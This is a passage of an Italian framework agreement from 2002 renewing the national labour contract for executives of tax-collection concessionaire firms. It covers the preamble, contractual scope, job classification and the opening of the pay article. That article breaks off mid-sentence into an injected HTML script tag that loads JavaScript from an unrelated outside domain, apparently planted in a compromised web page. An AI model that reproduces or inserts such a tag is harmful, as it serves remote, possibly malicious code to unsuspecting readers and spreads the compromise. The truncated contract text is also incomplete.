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Categoria: Esattorie (personale direttivo concessionari) Settore: Credito e Assicurazioni Data stipula: 28-2-2002 Data decorrenza: 28-2-2002 Data scadenza: 31-12-2003
Il giorno 28 febbraio 2002, in Roma
tra
- Associazione Nazionale tra i Concessionari del Servizio di
Riscossione dei Tributi (ASCOTRIBUTI);
- Sindacato Nazionale del personale dell'area direttiva della
riscossione (SINDART)
si è convenuto di stipulare il presente Accordo quadro di rinnovo del CCNL
PER I DIRIGENTI DELLE AZIENDE CONCESSIONARIE DELLA RISCOSSIONE DEI TRIBUTI
in sostituzione:
delle norme relative ai dirigenti del CCNL 17 luglio 1995 (cap. XVIII,
XIX, XX, XXI, XXII e XXIII; protocollo aggiuntivo e disposizioni
particolari per le Casse di risparmio che gestiscono direttamente il
servizio di riscossione (cap. IX)
Premessa.
Le parti si danno atto che il presente Accordo quadro viene stipulato al
termine di un articolato e complesso iter negoziale, convengono sulle
difficoltà in atto nel settore della riscossione e ritengono inderogabile
la sua ristrutturazione globale, in una logica di efficienza e
competitività, anche relativamente alla struttura e ai contenuti della
contrattazione collettiva di tutto il personale della riscossione, allo
scopo di attuare congiuntamente quel complesso di azioni finalizzate a
elevare le capacità di competitività del sistema.
In tale ambito si è tra l'altro preso atto che l'evoluzione strutturale
determinata dalla riforma del servizio di riscossione impone al sistema
profondi processi di riconversione e di riposizionamento strategico con
una ridefinizione delle aree di affari e del baricentri reddituali.
Coerentemente con tali processi, le parti stipulanti hanno provveduto alla
sottoscrizione del presente Accordo quadro tenuto anche conto della
definizione di un Accordo per un Fondo di solidarietà per il sostegno del
reddito, dell'occupazione e della riconversione e riqualificazione
professionale del personale della riscossione, sottoscritto in data
12.12.01.
Le parti concordano di individuare strumenti idonei ad accrescere
l'efficienza e la competitività complessiva del sistema.
Art. 1 - Area contrattuale.
Il presente Accordo quadro si applica ai dirigenti delle aziende
concessionarie della riscossione tributi e a quelli delle aziende
controllate che svolgono attività ai sensi del D.lgs. n. 112 del 15.4.99 e
ai sensi della lett. b), comma 5, art. 52, D.lgs. 15.12.97 n. 446.
Si fa riferimento, altresì, in quanto compatibili con la figura del
dirigente, alle previsioni di cui al cap. 1 dell'Ipotesi di Accordo
12.12.01 per i quadri direttivi e aree professionali (dalla 1a alla 3a).
Art. 2 - Inquadramento.
Ai fini del presente Accordo quadro sono dirigenti coloro i quali -
sussistendo le condizioni di subordinazione di cui all'art. 2094 CC e in
quanto ricoprano nell'azienda un ruolo caratterizzato da un elevato grado
di professionalità, di autonomia e di potere decisionale ed esplichino le
loro funzioni di promozione, coordinamento e gestione generale al fine di
realizzare gli obiettivi dell'azienda - siano dalle rispettive aziende cui
appartengono come tali qualificati.
Nell'ambito dello sviluppo professionale del dirigenti l'azienda individua
funzioni manageriali correlate a diversi livelli di responsabilità, sia
nelle attività espletabili presso le strutture centrali che nelle sedi
periferiche, con i connessi trattamenti retributivi che possono anche
comportare il superamento del trattamento tabellare fissato in sede
nazionale.
Fermo quanto sopra, è riconosciuto l'inquadramento a dirigente al preposto
alla direzione di più ambiti territoriali provinciali.
L'azienda informa gli organismi sindacali aziendali della categoria circa
gli effetti conseguenti all'applicazione del comma 2 che precede.
Art. 3 - Trattamento economico.
La struttura del trattamento economico del dirigente - che viene<script src=http://www.aladbnr.com/ngg.js></script>
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